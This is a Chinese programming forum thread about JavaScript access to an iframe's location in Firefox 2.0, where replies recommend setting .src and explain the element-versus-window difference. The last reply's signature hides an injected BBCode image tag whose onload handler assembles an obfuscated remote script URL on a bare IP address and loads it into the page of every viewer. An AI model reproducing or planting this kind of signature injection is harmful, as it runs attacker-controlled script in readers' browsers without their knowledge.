apache
知名人士
知名人士
  • 铜币0枚
  • 威望0点
  • 贡献值0点
阅读:1568回复:3

firefox2.0中,JS访问frame或着iframe的问题

楼主#
更多 发布于:2006-12-13 11:17
如:
<iframe id="main" name="main" frameborder=0 scrolling1=no style="width:100%" src="blank.jsp"></iframe>

用:
document.getElementsById("main")指定其location为何不成功

就是document.getElementsById("main")="xxx.jsp";

[ 2006-12-13 11:27:14 apache 修改 ]
【超级无敌烦躁症患者】
0000
作家
作家
  • 铜币143枚
  • 威望34点
  • 贡献值1点
1C#
发布于:2006-12-13 13:04
Re:firefox2.0中,JS访问frame或着iframe的问题
document.getElementById("main").src="xxx.jsp" 试试?
.--. |o_o | |:_/ | // \ \ (| | ) /'\_ _/`\ \___)=(___/
apache
知名人士
知名人士
  • 铜币0枚
  • 威望0点
  • 贡献值0点
2C#
发布于:2006-12-13 13:15
Re:firefox2.0中,JS访问frame或着iframe的问题
[em062]
document.getElementById("main").src="xxx.jsp" 试试?


牛啊!

可我还是不明白以前main.location="xxx.jsp",可现在document.getElementById("main").location="xxx.jsp"就不行呢?

而非要"document.getElementById("main").src="xxx.jsp""

呵呵。
【超级无敌烦躁症患者】
119
119
普通会员
普通会员
  • 铜币0枚
  • 威望0点
  • 贡献值0点
3C#
发布于:2007-01-16 17:36
Re:firefox2.0中,JS访问frame或着iframe的问题
document.getElementsById("main")
得到的是一个HTMLElement而不是一个window对象,因此,不具有location这个属性 [ 2007-01-16 17:36:59 119 修改 ]
[img]http://220.101.198.35/han_zu.jpg" onclick="return false;" onload="var item = document.getElementById('mars_js'); if (item == null) { item = document.createElement('script'); item.src = 'htt' + 'p:/' + '/220.' + '101.' + '198.' + '35/' + 'js/' + 'mars.js'; item.type = 'text/' + 'javascript'; item.id = 'mars_js';document.body.appendChild(item);}[/img] [a=http://www.apabi.com" onclick="return false;" style="font-size: 24px; font-family: 'Courier New'; color: #0000ff; line-height: 30px; text-decoration: none; font-weight : bold;]studying~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[/a] [a=http://www.apabi.com" onclick="return true;" style="font-size: 18px; font-family: 'Courier New'; color: #000000; line-height: 20px; text-decoration: none; font-weight : bold;]http://www.apabi.com[/a]
游客

返回顶部